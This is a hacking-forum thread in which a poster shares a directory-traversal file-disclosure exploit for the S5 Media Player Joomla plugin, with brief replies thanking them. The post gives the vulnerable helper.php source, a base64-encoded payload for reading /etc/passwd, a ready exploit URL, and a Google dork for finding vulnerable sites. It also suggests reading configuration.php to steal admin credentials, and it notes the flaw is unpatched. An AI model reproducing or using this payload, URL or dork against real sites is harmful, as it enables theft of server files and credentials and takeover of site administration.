

Forum: [Hack Forums](#)

Thread: [\[EXPLOIT\] Joomla Plugin - Shape5 Media Player](#)

MLT - December 10, 2018, 10:03 am

Joomla S5 Media Player Exploit - Local File Disclosure:

Here's an LFD vulnerability I found within the "S5 Media player" Joomla plugin - this is a paid plugin from Joomlaart

<https://www.joomlart.com/blog/announcement-shape5-com-is-now-part-of-joomlart> - read about the plugin here. The file 'helper.php' is vulnerable to Local File Disclosure through means of directory traversal with a base64 encoded input. The vulnerable parameter is 'fileurl' and can be sent via either GET or POST. Here is the contents of 'helper.php':

Code <?php

```
$path = base64_decode($_REQUEST['fileurl']);
```

```
$base = basename($path);
```

```
$path1 = str_replace(' ','%20',$path);
```

```
header('Content-Description: File Transfer');
```

```
header('Content-Type:application/octet-stream');
```

```
header('Content-Transfer-Encoding: Binary');
```

```
header("Content-disposition: attachment; filename=\"\".basename($path).\"");
```

```
header('Content-Length: ' . filesize($path));
```

```
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
```

```
header('Pragma: public');
```

```
readfile($path1);
```

```
exit;
```

?>

The issue should be pretty easy to spot (`base64_decode($_REQUEST['fileurl'])`). Your payload must be base64 encoded in order for this to work, for example:

Quote: loldongs.exe

would be inputted as (base64 encoded):

Quote: bG9sZG9uZ3MuZXhl

Or, to perform a directory traversal:

Quote: `../../../../../../../../etc/passwd`

would be base64 encoded like so:

Quote: Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Here is an example of what a vulnerable URL would look like (to get /etc/passwd):

Quote:

[http://\[HOST\]/plugins/content/s5_media_player/helper.php?fileurl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==](http://[HOST]/plugins/content/s5_media_player/helper.php?fileurl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==)

On default joomla installations, the default path to s5 Media Player is

/plugins/content/s5_media_player/ although
this many vary on some installs.

To find vulnerable site for this, the following google dork can be used:

Quote: `inurl:helper.php inurl:fileurl= filetype:php`

In order to gain access to the server, an attacker can abuse this LFD to view the contents of configuration.php which contains the admin credentials for the Joomla installation. I originally found this exploit a while back but it STILL hasn't been patched.

SIM-2907534 - *December 10, 2018, 10:28 am*

Very good sharing thanks dude.

M L T - *December 10, 2018, 10:35 am*

(Dec 10, 2018 11:28 AM)?Kl??s Wrote: [\[CITE\]](#) Very good sharing thanks dude.

Thanks :) if people are interested in this stuff then I'll begin to post exploits on a regular basis.